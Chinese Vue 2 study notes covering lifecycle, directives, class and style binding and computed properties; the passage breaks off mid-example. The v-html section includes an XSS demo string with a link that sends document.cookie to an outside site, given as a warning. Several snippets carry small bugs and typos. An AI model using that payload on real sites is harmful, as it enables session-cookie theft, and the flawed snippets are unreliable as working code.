本博客主要为以下三家网课所整理记录的学习笔记,仅作学习用途,如有侵权,烦请联系本人侵删。同时感谢codewhy、黑马、尚硅谷老师们的辛苦教导付出,如有不足之处,欢迎各位小伙伴、官老爷们多多提意见或建议,感谢!
网课教程:
最全最新Vue、Vuejs教程,从入门到精通(codewhy)尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通_哔哩哔哩_bilibili
前端最新Vue2+Vue3基础入门到实战项目全套教程,自学前端vue就选黑马程序员,一套全通关!
他人笔记参考:
学Vue,看这篇就够了-Vue2 coderwhy详细笔记全合集(含资料代码项目地址)_coderYYY的博客-CSDN博客
一、 Vue2理论和配置
vue2 介绍
历史
2013 年,受到 Angular 框架开发的启发,尤雨溪开发出一款轻量级框架 -- Seed
同年 12 月, Seed 更名为 Vue,版本号为 0.6.0。
2014 年,Vue 正式对外发布,版本号为 0.8.0,同时 Taylor otwell 在 Twitter 发表宣传。
2015 年 10 月 27 日,正式发布 Vue 1.0.0 Evangelion(新世纪福音战士)
2016 年 10 月 1 日,正式发布 Vue 2.0.0 Ghost in the Shell(攻壳机动队)
2020 年 9月 18 日,正式发布 Vue 3.0.0 One Piece(海贼王)
简介
我相信每个人学习Vue的目的是各部相同的。可能你的公司正要将原有的项目使用Vue进行重构。也可能是你的公司新项目决定使用Vue的技术栈。当然,如果你现在正在换工作,你会发现招聘前端的需求中,10个有8个都对Vue有或多或少的要求。当然,作为学习者我们知道Vuejs目前非常火,可以说是前端必备的一个技能。
Vue (读音 /vjuː/,类似于 view),Vue是一套用于构建用户界面的渐进式框架,渐进式意味着你可以将 Vue 作为你应用的一部分嵌入其中,带来更丰富的交互体验。或者如果你希望将更多的业务逻辑使用 Vue 实现,那么 Vue 的核心库以及其生态系统。比如 Core+Vue-router+Vuex,也可以满足你各种各样的需求。
与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。
一方面,Vue 采用 MVVM 架构模式,其核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。另一方面,当与现代化的工具链以及各种支持类库结合使用时,Vue 也完全能够为复杂的单页应用提供驱动,具有很多高级功能(解耦视图和数据、可复用的组件、前端路由技术、状态管理、虚拟DOM)
vue 所有功能的实现都是围绕其生命周期进行的,在生命周期的不同阶段调用对应的钩子函数可以实现组件数据管理和DOM渲染两大重要功能。
vue 官网:Vue.js - 渐进式 JavaScript 框架 | Vue.js (vuejs.org)
官网介绍:
-
api:vue字典、风格指南:Vue 代码的编程风格习惯、示例:一些 vue 例子
-
Cookbook:JS 基本功、Vue推荐给开发者的一些编程小技巧
-
Awesome Vue:周边库,比如能实现报表的 echarts 库
总结:Vue是什么?
Vue 是一个用于 构建用户界面 的 渐进式 框架
-
构建用户界面:基于 数据 动态 渲染 页面
-
渐进式:循序渐进的学习
-
框架:一套完整的项目解决方案,提升开发效率个(理解记忆规则)
vue 官网:Vue.js - 渐进式 JavaScript 框架 | Vue.js (vuejs.org)
官网介绍:
-
api:vue字典、风格指南:Vue 代码的编程风格习惯、示例:一些 vue 例子
-
Cookbook:JS 基本功、Vue推荐给开发者的一些编程小技巧
-
Awesome Vue:周边库,比如能实现报表的 echarts 库
特点
vue 在编码时有三大特点:
-
采用组件化模式,提高代码复用率,且让代码更好维护
-
声明式编码,让编码人员无需直接操作 DOM,提高开发效率
-
使用虚拟 DOM + 优秀的 Diff 算法,尽量复用 DOM 节点
理论知识
MVVM 架构(响应式)
MVVM(Model–view–viewmodel)它是一种基于前端开发的架构模式,其核心是提供对View 和 ViewModel 的双向数据绑定,这使得ViewModel 的状态改变可以自动传递给 View,即所谓的数据双向绑定。而Vue.js 则是一个提供了 MVVM 风格的双向数据绑定的 Javascript 库,专注于View 层。它的核心是 MVVM 中的 VM,也就是 ViewModel。 这种轻量级的架构让前端开发更加高效便捷。(查询维基百科更加全面),只需要专注于业务核心逻辑即可。
view视图层
-
视图、模版代码,负责将数据模型转化为UI展现出来
-
在前端开发中,通常指 DOM 层,主要给客户展示各种信息
Model数据层
-
模型、data 数据,可以在Model层中定义数据修改和操作的业务逻辑
-
固定的死数据、服务器数据,网络请求数据
ViewModel视图模型层
-
Vue 实例,是二者沟通的桥梁,通过双向数据绑定把 View 层和 Model 层连接起来,保证视图和数据的一致性
-
而 View 和 Model 之间的同步工作完全是自动的,无需人为干预
-
一方面它实现了Data Listener(事件监听),将Model的改变实时反应到View中
-
另一方面它实现了DOM Listener(DOM监听),当DOM发生一些事件时(点击、滚动、touch等)时,可以监听到,并在需要下对应改变Data
生命周期
Vue生命周期是指:vue实例对象从创建之初到销毁的过程
beforeCreate 创建前
-
在实例初始化之后,数据观测和事件配置之前被调用
-
此时:组件的对象还未创建,el 和 data 并未初始化,无法通过vm访问到methods配置的方法和data中的数据
created 创建后
-
实例已经创建完成之后被调用
-
此时:可以通过vm访问到methods配置的方法和data中的数据
beforeMount 挂载前
-
此时:页面呈现的是未经Vue编译的DOM结构,所有对DOM结构的操作,最终都不奏效
-
实例已完成配置: 编译模板,把data里面的数据和模板生成html;完成了el和data 初始化,注意此时还没有渲染到html到页面上
mounted 挂载后
-
虚拟 DOM 转换成真实 DOM 后渲染到 html 页面上,页面呈现的是经过Vue编译的DOM,对DOM的操作均有效,至此初始化完毕
-
此时:一般可以进行消息订阅、开启定时器、发送网络请求、绑定自定义事件等初始化操作,mounted只会执行一次
beforeUpdate 更新前
-
此时:数据是新的,但页面是旧的,数据尚未和页面保持同步
updated 更新后
-
此时:数据是新的,页面也是新的,数据和页面保持同步
beforeDestory 销毁前
-
此时:vm中所有的 data、methods、指令等都处于可用状态,马上要执行销毁过程
-
一般在这一步做一些重置的操作,比如清除组件中的定时器、监听的dom事件、取消订阅等
destory 销毁后
-
在实例销毁之后调用,该钩子在服务器端渲染期间不被调用
-
调用后,所以的事件监听器会被移出,所有的子实例也会被销毁
var let const
变量作用域:变量在什么范围内是可用的,范围之外则不可用;在 ES5 时,因为之前没有块级作用域的概念,所以在很多时候,必须借助 function 来解决应用外面变量的问题,因此 var 才有函数作用域这一说。为了向后兼容,ES6 才添加了一个新的关键字:let。
函数作用域:用函数包起来的作用域,比如 (function(){...})()、function(){...}
块级作用域:用 {} 包起来的作用域
var(ES5)
-
在变量未赋值时,变量undefined(为使用声明变量时也为undefined)
-
在 ES5 中只有函数作用域,没有块级作用域;可重复声明
let(ES6)
-
变量未声明就直接使用会报错,作用域是块级作用域
-
let 禁止重复声明同一个变量,但可以修改其值
const(ES6)
-
const 为常量声明方式;声明变量时必须初始化(赋值)
-
const 声明一个只读的常量,一旦声明,常量的值就不能改变(不能再次赋值),在后面的代码中不能再修改该变量的值,意思是变量指向的那个内存地址不得改动
-
常量的含义是指向的对象不能修改,但可以改变对象内部的属性,之所以分开写是因为如果一起写,运行的话修改属性后会改变原来的对象属性。所以在 ES6 开发中,优先使用 const,如果需要改变某一个标识符才使用 let
对象增强写法
ES6 中对 对象字面量进行了增强,使得 属性 和 方法 的初始化也支持简写了
vue工作原理
想让 Vue 工作,就必须创建一个 Vue 实例,且传入一个配置对象,且 div 里的代码依然符合 html 规范,只不过加入了特殊vue语法:
-
root 容器里的代码被称为 “Vue 模板”,真实开发中只有一个 Vue 实例,并且会配合组件一起使用
-
{ {xxx}} 中的 xxx 要写 js 表达式,且 xxx 可以自动读取到 data 中的所有属性
-
一旦 data 中的数据发生改变,那么页面中用到该数据的地方也会自动更新
-
实例与容器的关系是一一对应的(一对一),不能一对多
-
按编程范式来说分为:声明式编程(vue)跟命令式编程(JS)
声明式编程:
创建Vue对象时,传入了一些 options:{},{} 中包含了 el、data等属性
el 属性用于指定当前 Vue 实例为哪个容器服务,值通常为 css 选择器字符串,该属性决定了这个Vue对象挂载到哪一个元素上
data 属性用于存储数据,数据供 el 所指定的容器使用,该值可以直接自定义成一个对象,或者在服务器网络上加载而来
命令式编程:
创建一个div元素,设置id属性;定义一个变量叫message;将message变量放在前面的div元素中显示;
修改message数据:"今天天气不错!" 将修改后的数据再次替换到div元素。
el data 的两种写法
el
第一种:new Vue 时配置 el 属性; 第二种:先创建 Vue 实例时,随后再通过 vm.$mount('#root') 指定 el 的值
data
第一种:对象式; 第二种:函数式(后续组价化学习的话用这种)
注意:这里就不要用箭头函数写法了,不然 this 不是 vue 实例(后面第二章末尾的箭头函数有详细解释)
环境配置
vue.js 安装
CDN引入
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
<!-- 生产环境版本,优化了尺寸和加载速度 -->
<script src="https://cdn.jsdelivr.net/npm/vue"></script>
<!-- 上面这两种无需再额外下载vue.js文件,引入即用 -->
链接引入
<!-- 开发环境 -->
<script src="https://vuejs.org/js/vue.js"></script>
<!-- 生产环境 -->
<script src="https://vuejs.org/js/vue.min.js"></script>
npm 安装:npm i vue-cli(后面我们采用这种方式安装 npm、webpack、CLI、vue.js 框架等)
单页面开发
在上面下载并导入vue.js后,即可进行单页面的vue开发(不带vue框架的单页面开发)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>初识Vue</title>
<!-- 引入Vue -->
<script src="vue.min.js"></script>
</head>
<body>
<!-- 初识Vue:
1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
2.root容器里的代码依然符合htm1规范只不过混入了一些特殊的Vue语法;
3.root容器里的代码被称为[Vue模板];
-->
<!-- 准备好一个容需 -->
<div id="root">
<!-- Hello, 尚硅谷-->
<h1>Hello, {
{name}}</h1>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阴止 vue 在启动时生成生产提示。
//创建Vue实例
new Vue({
el:'#root',//e1用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
data() { //data中用于存储数据,数据供e1所指定的容器去使用,值我们暂时先写成一个对象
name: '尚硅谷'
}
})
</script>
</body>
</html>
定义template
因为在 vscode 中无论是新建 .vue 格式的 vue 文档,还是其他格式的,都只是新建空白页,如果每次都自己重写的话不免过于麻烦,所以这里可以先利用 vscode 内置的功能来提前定义好 vue 的 template 模板,以后新建文档时就不用做重复工作。
如果使用 idea / webstorm 等其他开发工具,则有集成各种文件格式的模板,无需额外编写
路径配置
点击 文件 → 首选项 → 配置用户代码片段 →
-
输入 html,打开 html.json(或者滚轮滚到底端找也可以)
-
输入 vue,打开 vue.json(输入的形式代表在 xxx.vue 文件下新建模板)
注意:配置 html.json 代表只能在 xxx.html 中才能使用该模板,在别的后缀文件用会失效
模板配置
利用 vsCode 代码片段生成器 来生成带 /t 符号的模板:将代码复制进左边,然后右边自动生成后,将代码复制到下面的模板一/二即可。
模板一:前期学习时使用;打开 html.json,输入以下模板代码,保存并新建文件时输入 html,即可生成模板代码
前期,还没组件化开发时的常用模板(如果代码里带“”,可以用转义字符\ ,避免报错)
"Print to console": {
"prefix": "html",
"body": [
"<!DOCTYPE html>",
"<html>",
"\t<head>",
"\t\t<meta charset=\"utf-8\">",
"\t\t<title></title>",
"\t</head>",
"\t<body>",
"\t\t<div id=\"app\">",
"\t\t\t",
"\t\t</div>",
"\t\t<script src=\"./vue.min.js\"></script>",
"\t\t<script type=\"text/javascript\">",
"\t\t\tconst app = new Vue({",
"\t\t\t\tel: '#app',",
"\t\t\t\tdata: {",
"\t\t\t\t\t",
"\t\t\t\t}",
"\t\t\t})",
"\t\t</script>",
"\t</body>",
"</html>"
],
"description": ""
}
模板2:后期组件化开发时使用;打开 vue.json,输入以下模板代码,保存并新建文件时输入 vue,即可生成模板代码
"Print to console": {
"prefix": "vue", // 快捷键标识,以后输入 vue 就可以直接弹出该模板
"body": [
"<template>",
"",
"</template>",
"<script>",
"export default {",
"",
"};",
"</script>",
"<style scoped>",
"</style>"
],
"description": "Log output to console"
}
二、基本语法
创建一个Vue实例
前面的单页面开发里也讲过一遍,这里再强调一遍主要步骤:
-
准备容器
-
引包(官网)-开发版本/生产版本
-
创建 Vue 实例 new Vue()
-
指定配置项 el data => 渲染数据
-
el指定挂载点,选择器指定控制的是哪个盒子
-
data 提供数据
-
<div>
<!-- 渲染数据 -->
<h1>{
{ msg }}</h1>
<a href="#">{
{ count }}</a>
</div>
<!-- 引入的是开发包版本 - 包含完整的注释和警告 -->
<script src="https://cdn.jsdeliver.net/npm/vue@2.7.14/dist/vue.js"></script>
<script>
// 一旦引入 VueJs 核心包,在全局环境中就有了 Vue 构造函数
const app = new Vue({
// 通过 el 配置选择器,指定 Vue管理的是哪个盒子
el: '#app',
// 通过 data 提供数据
data: {
msg: 'hello黑马',
count: 666
}
})
</script>
插值操作
Mustache
Mustache: 胡子/胡须,双大括号语法、模板语法、插值语法;不仅可以直接写变量,也可以写简单的表达式
插值语法作用:利用表达式(不支持if/for等语句)进行插值,将数据渲染到页面中
注意:数据要存在于data里、不能在标签属性中使用 { {}}
<div id="app">
<!-- mustache语法(双大括号) -->
<h2>{
{message}}</h2> <!-- 你好啊 -->
<h2>{
{firstName + + lastName}}</h2> <!-- kobe Bryant -->
<h2>{
{firstName}} {
{lastName}}</h2> <!-- kobe Bryant -->
<h2>{
{count*2}}</h2> <!-- 228 -->
<h2>{
{ age >=18 ? '成年' : '未成年' }}</h2>
<h2>{
{ if }}</h2> <!-- 报错,不支持语句if/for插值 -->
<p title="{
{firstName}}">我是p标签</p> <!-- 报错,不能在标签属性中使用 {
{}} -->
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
message: '你好啊',
firstName: 'kobe',
lastName: 'Bryant',
count: 109
}
})
</script>
内置指令
v-once
该指令不需要跟任何表达式
该指令表示的元素和组件只渲染一次,不会随着数据的改变而改变
<div id="app">
<!-- 在控制台界面写 app.message = "hello world" -->
<h2>{
{message}}</h2> <!-- hello world -->
<h2 v-once>{
{message}}</h2> <!-- 你好啊 -->
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
message: '你好啊',
}
})
</script>
v-text
作用:向其所在的节点中渲染文本内容(不支持结构的解析)
与插值语法的区别:v-text会覆盖掉节点中的内容,{ {xx}}则不会
<div id="app">
<h2>{
{message}} world</h2> <!-- hello world -->
<h2 v-text="message">world</h2> <!-- hello -->
<h2 v-text="url"></h2> <!-- <a href="http://www.baidu.com">百度一下</a> -->
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
message: 'hello',
url: '<a href="http://www.baidu.com">百度一下</a>'
}
})
</script>
v-html
某些情况下,我们从服务器请求到的数据本身就是 html 代码,如果直接通过 { {}} 来输出,会将 html 代码也一起输出;如果想按照 html 格式进行解析,并显示对应的内容,可以使用 v-html 指令;v-html指令后面跟上 string 类型,并将 string 的 html 解析出来进行渲染。
-
作用:向指定节点中渲染包含html结构的内容
-
与插值语法的区别:
-
v-html会替换掉节点中所有的内容,{ {xx}}则不会
-
v-html可以识别html结构(跟上面的v-text作用相反)
-
-
严重注意:v-html有安全性问题!!!
在网站上动态渲染任何HTML是非常危险的,容易导致XSS攻击(冒充用户之手)
一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!
<div id="app">
<h2>{
{url}}</h2> <!-- <a href="http://www.baidu.com">百度一下</a> -->
<h2>{
{message}}</h2> <!--你好-->
<h2 v-html="url">{
{message}}</h2> <!-- 百度一下 -->
<!--演示XSS攻击-->
<h2 v-html="str"></h2> <!-- 在跳转到该网址的同时,黑客通过查看该网址控制台也能拿到自己的cookie -->
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
message: 'hello'
url: '<a href="http://www.baidu.com">百度一下</a>'
// 这里演示下利用v-html来达到XSS攻击的目的
// 假如放一个具有诱惑性质的链接/伪装成表单提交按钮,这样在点击后虽然确实跳转到有诱惑的网站了,即使黑客拿不到自己的登录账户密码,但通过这种方式,也能拿到代表自己用户账户身份的cookie信息来登录自己的账户(对接自己的服务器),导致账户里金钱、信息被盗的风险
str: '<a href=javascript:location.href="http://www.91.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
}
})
</script>
cookie知识补充:
每个浏览器保存服务器传过来的cookie,在不同浏览器之间都是不共享的,但黑客可以通过一些手段拿到自己的cookie跟服务器对接,从而登录自己的账号,从而造成数据泄露/财产损失。(node.js里有具体的原理介绍,就不作拓展)
这里举个小栗子:
在登录自己的github账户后,可以看到自己账户下的cookie信息,利用Cookie-Editor插件,可以批量导出cookie数据,然后黑客拿到这份cookie数据后,在其电脑浏览器里利用同样的插件导入cookie,从而登录自己的账户。
以上的XSS攻击方式,虽然在现今的HttpOnly限制下,只能拿到部分的cookie,但也要防患于未然,少用v-html操作html结构。
v-pre
跳过其所在节点的编译过程,直接输出标签中的内容,而不是从app对象中获取数据
可利用它跳过:没有使用指令语法、插值语法的节点,会加快编译
<div id="app">
<h2>{
{message}}</h2> <!-- hello -->
<h2 v-pre>{
{message}}</h2> <!-- {
{message}} -->
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
message: 'hello'
}
})
</script>
v-cloak
在浏览器因为运行慢或者卡住时,vue代码没来得及编译而先显示出前面的 Mustache 标签
为了解决这种情况,可以利用 v-cloak:斗篷,使得 vue 解析之前用户看不到 "{ {mes}}"
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出{ {xxx}}的问题
<style>
/* 依靠v-cloak的样式使得还没解析的{
{mes]}隐藏起来 */
[v-cloak]{ display: none; }
</style>
<!-- 在vue解析之前,div中的v-cloak属性存在并生效 -->
<div id="app">{
{mes}}</div>
<script src="./vue.min.js"></script>
<script>
// 在vue解析之后,div中的v-cloak被剔除不生效
setTimeout(function(){ // 利用定时器来模拟卡顿效果
const app = new Vue({
el:'#app',
data: { mes: 'hello' }
})
})
</script>
自定义指令(directives)
自定义指令:自己定义的指令,可以封装一些dom操作,扩展额外功能
自定义指令分为:函数式/对象式、全局/局部过滤
<body>
<!--
需求1: 定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2: 定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
-->
<!-- 准备好一个容器-->
<div id="root">
<!-- 函数式 -->
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"</span></h2>
<button @click="n++">点我n+1</button></div>
<hr/>
<!-- 对象式 -->
<input type="text" v-fbind:value="n">
<!-- 短横杠 -->
<span v-big-number="n"</span>
</div>
<div id="root2">
...
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
// 全局自定义指令
Vue.directive('fbind', {
...
})
new Vue({
el:'#root',
data:{ n:1 },
// 局部自定义指令
directives: {
// 函数式
// big函数何时会被调用? 1.指令与元素成功绑定时(一上来),2.指令所在的模板被重新解析时
big(element,binding) {
console.log(element, binding)
element.innerText = binding.value * 10
console.log(this) // 注意此处的this是window,不是new Vue的
// element.focus() // 这句话不生效,得用对象式
},
// 对象式
fbind: {
// 指令与元素成功绑定时(一上来)
bind(element,binding) { element.value = binding.value },
// 指令所在元素被插入页面时
inserted(element,binding) { element.foucs() }, // 上面的获取焦点功能加在这里生效
// 指令所在的模板被重新解析时
update(element,binding) { element.value = binding.value }
},
// 短横杠写法区别
'big-number'(element,binding){}
}
}
new Vue({
el: '#root2',
})
</script>
绑定属性(v-bind)
作用:单向绑定解析表达式,可简写为 :xxx
语法糖
原理:单向绑定解析表达式(data → v-bind),v-bind随着data的变化而变化,数据只能由 data 流向页面,相当于一半的 v-model
作用:
-
动态设置html的标签属性(src、url、title...)
-
用于绑定一个或多个属性值(css 样式,下面的绑定class跟style有详细介绍)
-
向另一个组件传递 props 值(父子组件之间传递数据)
简写: :属性名=“表达式”(语法糖,语法的简写、缩写,这样写更加简洁)
绑定class(写div上)
数组写法:数组中所有的类,都会添加到盒子上,本质就是一个class列表
使用场景:适用于批量添加或删除类
<!-- 直接通过 [] 绑定一个类 -->
<h2 :class="['active']">Hello World</h2>
<!-- 可传入多个值 -->
<h2 :class="['active', 'line']">Hello World</h2>
<!-- 和普通的类同时存在,并不冲突。注:会有title/active/line三个类 -->
<h2 class="title" :class="['active','line']">Hello World</h2>
<!-- 如果过于复杂,可以放在一个methods或者computed中;-->
<div id="app">
<h2 :class="[active, line]"></h2>
<!-- 等价于 -->
<h2 :class="getClass()"></h2>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
getClass: function() {
return [this.active, this.line]
}
}
})
</script>
对象写法:class 后面跟的是一个对象(这种是写死的,不常用)
<!-- 语法 -->
<h2 v-bind:class="{key: value}">{
{message}}</h2>
<!-- 动态切换 class,比如:点击按钮时,字体由红色变为黑色。则常见这种绑定方式 -->
<h2 v-bind:class="{类名: boolean}">{
{message}}</h2>
<head>
<style type="text/css">
.active{ color: red; }
</style>
</head>
<body>
<div id="app">
<h2 v-bind:class="{active: isActice}">{
{message}}</h2>
<button v-on:click="btnClick">修改颜色</button>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
message: '你好'
isActice: true,
}
methods: {
btnclick() {
//可查看控制台上的 active是否生效,还有没有绑定
this.isActice = !this.isActice
}
}
})
</script>
</body>
<!-- 同样可以传入多个类 -->
<h2 :class="{active: isActice,line: isLine}">hello</h2>
<!-- 如果和普通的类同时存在,并不冲突,二者都会合并生效 -->
<h2 class="titile" :class="{active: isActice}">hello</h2>
<!-- active: isActice, line: isLine 如果过于复杂,也可以放在一个methods/computed中 -->
<div id="app">
<h2 :class="getClass()">hello</h2>
<button v-on:click="btnClick">按钮</button>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
isActive: true,
isLine: true
},
methods: {
getClass() { return {active: this.isActive, line: this.isLine} }
btnClick() {
this.isActice = !this.isActice;
this.isLine = !this.isLine;
}
}
})
</script>
绑定class(写data上)
这种写法通常是将 字符串、数组、对象 直接放到 data 数据上,常用
字符串写法:绑定 class 样式 → 字符串写法,适用于:样式的类名不确定,需要动态指定
<head>
<style>
.basic { width: 80px; height: 40px; }
.normal { background-color: yellow; }
.happy { background-color: orange; }
.sad { background-color: gray; }
</style>
</head>
<body>
<!-- 点击后随机改变样式 -->
<div id="app">
<div class="basic" :class="mood" @click="changeMood">{
{name}}</div>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
name: '张三',
mood: 'normal'
}
methods: {
changeMood() {
const arr = ['happy' , 'sad' , 'normal'];// 随机生成 @、1、2
const index = Math.floor(Math.random()*3);
this.mood = arr[index];
}
}
})
</script>
</body>
数组写法:绑定 class 样式 → 数组写法,适用于:要绑定的样式个数不确定、名字也不确定
<head>
<style>
.basic { width: 80px; height: 40px; }
.arr1 { background-color: yellow; }
.arr2 { background-color: orange; }
.arr3 { background-color: gray; }
</style>
</head>
<body>
<div id="app">
<div class="basic" :class="arr">{
{name}}</div>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
name: '张三',
arr: ['arr1, arr2, arr3'],
}
})
</script>
</body>
对象写法:绑定 class 样式 → 对象写法,适用于:要绑定的样式个数确定,名字也确定,但要动态决定用不用
<head>
<style>
.basic { width: 80px; height: 40px; }
.obj01 { background-color: yellow; }
.obj02 { background-color: orange; }
</style>
</head>
<body>
<div id="app">
<div class="basic" :class="obj">{
{name}}</div>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
name: '张三',
obj: {
obj01: true,
obj02: true,
},
}
})
</script>
</body>
绑定style(写div上)
这种写法通常是将 数组、对象 直接放到 div、h2 视图上,不常用
数组写法:style 后面跟的是一个数组类型,多个值以逗号分割
<div id="app">
<div :style="[s01, s02]">{
{message}}</div>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
message: 'hello',
s01: { background-color: 'red' },
s02: { fontsize: '100px' }
}
})
</script>
对象写法:当我们不需要绑定很多样式时,则可以利用 v-bind:style 来绑定 CSS 内联样式
<h2 :style="key(CSS属性名): value(属性值)">{
{message}}</h2>
<!-- CSS 属性名可以采用驼峰式、或者短横线分隔 -->
<h2 :style="{fontSize: '50px'}">{
{message}}</h2>
<h2 :style="{font-size: '50px'}">{
{message}}</h2>
<!-- 当 value 属性值加上单引号时,则当成 字符串 去解析 -->
<h2 :style="{fontSize: '50px'}">{
{message}}</h2>
<!-- 当 value 属性值不加单引号时,则当成 变量 去解析,其值可以来自 data 中的属性 -->
<div id="app">
<h2 :style="{fontSize: fSize}">{
{message}}</h2>
<button v-on:click="btnClick">按钮</button>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
message: 'hello',
fSize: '100px',
},
methods: {
btnClick() { this.fSize = '200px' }
}
})
</script>
<!-- 可传入多个 style,不过没必要,直接动态绑定 class 即可 -->
<h2 :style="{fontSize: fSize,backgroundColor: bgColor}">{
{message}}</h2>
绑定style(写data上)
这种写法通常是将 数组、对象 直接放到 data 数据上,常用
数组写法
<div id="app">
<div class="basic" :style="styleArr">{
{name}}</div>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
name: 'hello',
styleArr: [
{fontSzie: '40px', color: 'red'},
{backgroundColor: 'orange'},
]
},
})
</script>
对象写法
<div id="app">
<div class="basic" :style="styleArr">{
{name}}</div>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
name: 'hello',
styleArr: {
fontSize: '40px',
color: 'orange'
}
},
})
</script>
总结
绑定class 样式写法 :class="xxx" xxx 可以是字符串、对象、数组
-
字符串写法适用于:类名不确定,要动态获取
-
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定
-
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用
绑定style 样式
-
:style=“{fontSize: xxx}” 其中 xxx 是动态值
-
:style="[a,b]" 其中 a、b 是样式对象
计算属性(computed)
一般情况下,我们可以直接通过插值语法显示一些data中的数据。但是在某些情况,我们可能需要对数据进行一些转化后再显示,或者需要将多个数据结合起来进行显示,这个时候就用到计算属性。可以简化写法。
基本使用
作用:封装了一段对于数据的处理,求得一个结果
语法:写在 computed() {} 中,作为属性,直接使用 this.计算属性
特性:计算属性会对计算出来的结果缓存,再次使用时直接读取缓存而无需重新计算,但依赖项变化了还是会重新自动计算并再次缓存
例子:
- 比如有firstName和lastName两个变量,需要显示完整的名称
- 但是如果多个地方都需要显示完整的名称,我们就需要写多个{ {firstName}} { {lastName}}
冗余写法
<div id="app">
<div>{
{firstName}} {
{lastName}}</div>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
firstName: 'kobe',
lastName: 'bryant'
},
})
</script>
简单写法
-
定义:要用的属性不存在,要通过已有的属性计算得来
-
原理:底层借助了 Object.defineproperty 方法提供的 getter 和 setter
-
一旦确定了计算属性只考虑读取,不考虑修改的话,可以用下面的简写形式:将 set() 只写省去,get() 只读的话默认不写
-
在 computed 里定义的是一个属性,不是一个函数,所以跟 methods 里定义的方法不同的是,{ {}} 里可以不用加 ()
<div id="app">
<!-- <div>{
{firstName}} {
{lastName}}</div> -->
<div>{
{sumName}}</div>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
firstName: 'kobe',
lastName: 'bryant'
},
computed: {
sumName() { return this.firstName + ' ' + this.lastName }
}
})
</script>
复杂用法
计算属性也可以用于更复杂的操作,比如:
<div id="app">
<div>{
{sumName}}</div> <!-- 600 -->
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
books: [
{id: 1, name: '代码大全', price: 100 },
{id: 2, name: '操作系统', price: 200 },
{id: 3, name: '基本教程', price: 300 },
]
},
computed: {
sumName() {
var sum = 0;
for(let i in books){
sum += this.books[i].price
}
return sum;
}
}
})
</script>
getter和setter
每个计算属性都包含一个 getter(只读)和一个 setter(只写),在上面的例子中,只默认使用 getter 来读取
某些情况下,也可以提供一个 setter 方法(不常用)
get 函数执行周期:初次读取时执行一次、当依赖的数据发生改变时会再次被调用
优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便
计算属性最终会出现在 Vue 实例上,直接读取使用即可
如果计算属性要被修改,那必须写 set 函数去响应修改
get 里的 this 指的是 app (const app = new Vue() ),不写 this 的话则 fullName 里的 get 方法访问不到 data 里的 firstName
<div id="app">
<div>{
{fullName}}</div>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
firstName: 'kobe',
lastName: 'bryant'
},
computed: {
// fullName() {
// return this.firstName + ' ' + this.lastName
// }
// 计算属性一般没有set方法
fullName: {
// 只读属性
get() {
return this.firstName + ' ' + this.lastName
},
// 只写属性:在控制台写app.fullName = '...' 的话,会改变firstName跟lastName的值
// set(newValue) {
// const names = newValue.split(' ')
// this.firstName = names[0]
// this.lastName = names[1]
// }
}
}
})
</script>
计算属性的缓存
methods 和 computed 看起来都可以实现我们的功能,那为什么还要多一个计算属性呢?
因为计算属性会进行缓存,如果使用多次,计算属性只会调用一次;而且多次调用同样的方法,没什么变化的话最好使用 computed,来提高运算速度;如果方法内的东西变化的话,computed 还是会重复调用。
<div id="app">
<div>{
{getFullName}}</div> <!-- kobe bryant -->
<div>{
{getFullName}}</div> <!-- kobe bryant -->
<div>{
{getFullName}}</div> <!-- kobe bryant -->
<div>{
{fullName}}</div> <!-- kobe bryant -->
<div>{
{fullName}}</div> <!-- kobe bryant -->
<div>{
{fullName}}</div> <!-- kobe bryant -->
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
